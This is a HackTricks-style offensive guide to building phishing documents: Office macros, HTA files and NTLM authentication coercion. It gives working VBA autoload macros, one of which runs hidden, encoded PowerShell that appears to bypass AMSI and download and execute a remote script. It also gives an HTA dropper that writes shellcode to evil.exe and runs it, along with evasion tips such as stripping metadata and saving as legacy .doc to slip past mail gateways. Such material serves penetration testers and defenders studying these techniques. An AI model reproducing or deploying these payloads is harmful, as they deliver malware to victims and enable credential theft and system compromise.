198 lines
9.3 KiB
Markdown
198 lines
9.3 KiB
Markdown
# Phishing Files & Documents
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
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- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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## Office Documents
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Microsoft Word performs file data validation before opening a file. Data validation is performed in the form of data structure identification, against the OfficeOpenXML standard. If any error occurs during the data structure identification, the file being analysed will not be opened.
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Usually, Word files containing macros use the `.docm` extension. However, it's possible to rename the file by changing the file extension and still keep their macro executing capabilities.\
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For example, an RTF file does not support macros, by design, but a DOCM file renamed to RTF will be handled by Microsoft Word and will be capable of macro execution.\
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The same internals and mechanisms apply to all software of the Microsoft Office Suite (Excel, PowerPoint etc.).
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You can use the following command to check which extensions are going to be executed by some Office programs:
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```bash
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assoc | findstr /i "word excel powerp"
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```
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DOCX files referencing a remote template (File –Options –Add-ins –Manage: Templates –Go) that includes macros can “execute” macros as well.
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### External Image Load
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Go to: _Insert --> Quick Parts --> Field_\
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_**Categories**: Links and References, **Filed names**: includePicture, and **Filename or URL**:_ http://\<ip>/whatever
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.png>)
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### Macros Backdoor
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It's possible to use macros to run arbitrary code from the document.
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#### Autoload functions
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The more common they are, the more probable the AV will detect them.
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* AutoOpen()
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* Document\_Open()
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#### Macros Code Examples
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```vba
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Sub AutoOpen()
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CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
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End Sub
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```
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```vba
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Sub AutoOpen()
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Dim Shell As Object
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Set Shell = CreateObject("wscript.shell")
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Shell.Run "calc"
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End Sub
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```
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```vba
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Dim author As String
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author = oWB.BuiltinDocumentProperties("Author")
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With objWshell1.Exec("powershell.exe -nop -Windowsstyle hidden -Command-")
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.StdIn.WriteLine author
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.StdIn.WriteBlackLines 1
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```
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```vba
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Dim proc As Object
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Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
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proc.Create "powershell <beacon line generated>
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```
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#### Manually remove metadata
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Fo to **File > Info > Inspect Document > Inspect Document**, which will bring up the Document Inspector. Click **Inspect** and then **Remove All** next to **Document Properties and Personal Information**.
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#### Doc Extension
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When finished, select **Save as type** dropdown, change the format from **`.docx`** to **Word 97-2003 `.doc`**.\
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Do this because you **can't save macro's inside a `.docx`** and there's a **stigma** **around** the macro-enabled **`.docm`** extension (e.g. the thumbnail icon has a huge `!` and some web/email gateway block them entirely). Therefore, this **legacy `.doc` extension is the best compromise**.
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#### Malicious Macros Generators
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* MacOS
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* [**macphish**](https://github.com/cldrn/macphish)
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* [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator)
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## HTA Files
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An HTA is a proprietary Windows program whose **source code consists of HTML and one or more scripting languages** supported by Internet Explorer (VBScript and JScript). HTML is used to generate the user interface and the scripting language for the program logic. An **HTA executes without the constraints of the browser's security model**, so it executes as a "fully trusted" application.
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An HTA is executed using **`mshta.exe`**, which is typically **installed** along with **Internet Explorer**, making **`mshta` dependant on IE**. So if it has been uninstalled, HTAs will be unable to execute.
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<pre class="language-html"><code class="lang-html"><strong><--! Basic HTA Execution -->
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</strong><html>
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<head>
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<title>Hello World</title>
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</head>
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<body>
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<h2>Hello World</h2>
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<p>This is an HTA...</p>
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</body>
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<script language="VBScript">
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Function Pwn()
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Set shell = CreateObject("wscript.Shell")
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shell.run "calc"
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End Function
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Pwn
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</script>
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</html>
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</code></pre>
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```html
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<--! Cobal Strike generated HTA without shellcode -->
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<script language="VBScript">
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Function var_func()
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var_shellcode = "<shellcode>"
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Dim var_obj
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Set var_obj = CreateObject("Scripting.FileSystemObject")
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Dim var_stream
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Dim var_tempdir
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Dim var_tempexe
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Dim var_basedir
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Set var_tempdir = var_obj.GetSpecialFolder(2)
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var_basedir = var_tempdir & "\" & var_obj.GetTempName()
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var_obj.CreateFolder(var_basedir)
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var_tempexe = var_basedir & "\" & "evil.exe"
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Set var_stream = var_obj.CreateTextFile(var_tempexe, true , false)
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For i = 1 to Len(var_shellcode) Step 2
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var_stream.Write Chr(CLng("&H" & Mid(var_shellcode,i,2)))
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Next
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var_stream.Close
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Dim var_shell
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Set var_shell = CreateObject("Wscript.Shell")
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var_shell.run var_tempexe, 0, true
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var_obj.DeleteFile(var_tempexe)
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var_obj.DeleteFolder(var_basedir)
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End Function
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var_func
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self.close
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</script>
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```
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## Forcing NTLM Authentication
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There are several ways to **force NTLM authentication "remotely"**, for example, you could add **invisible images** to emails or HTML that the user will access (even HTTP MitM?). Or send the victim the **address of files** that will **trigger** an **authentication** just for **opening the folder.**
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**Check these ideas and more in the following pages:**
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{% content-ref url="../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md" %}
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[printers-spooler-service-abuse.md](../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md)
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{% endcontent-ref %}
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{% content-ref url="../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md" %}
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[places-to-steal-ntlm-creds.md](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md)
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{% endcontent-ref %}
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### NTLM Relay
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Don't forget that you cannot only steal the hash or the authentication but also **perform NTLM relay attacks**:
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* [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)****
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* ****[**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)****
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
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|
||
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
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|
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- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
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|
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- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
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|
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- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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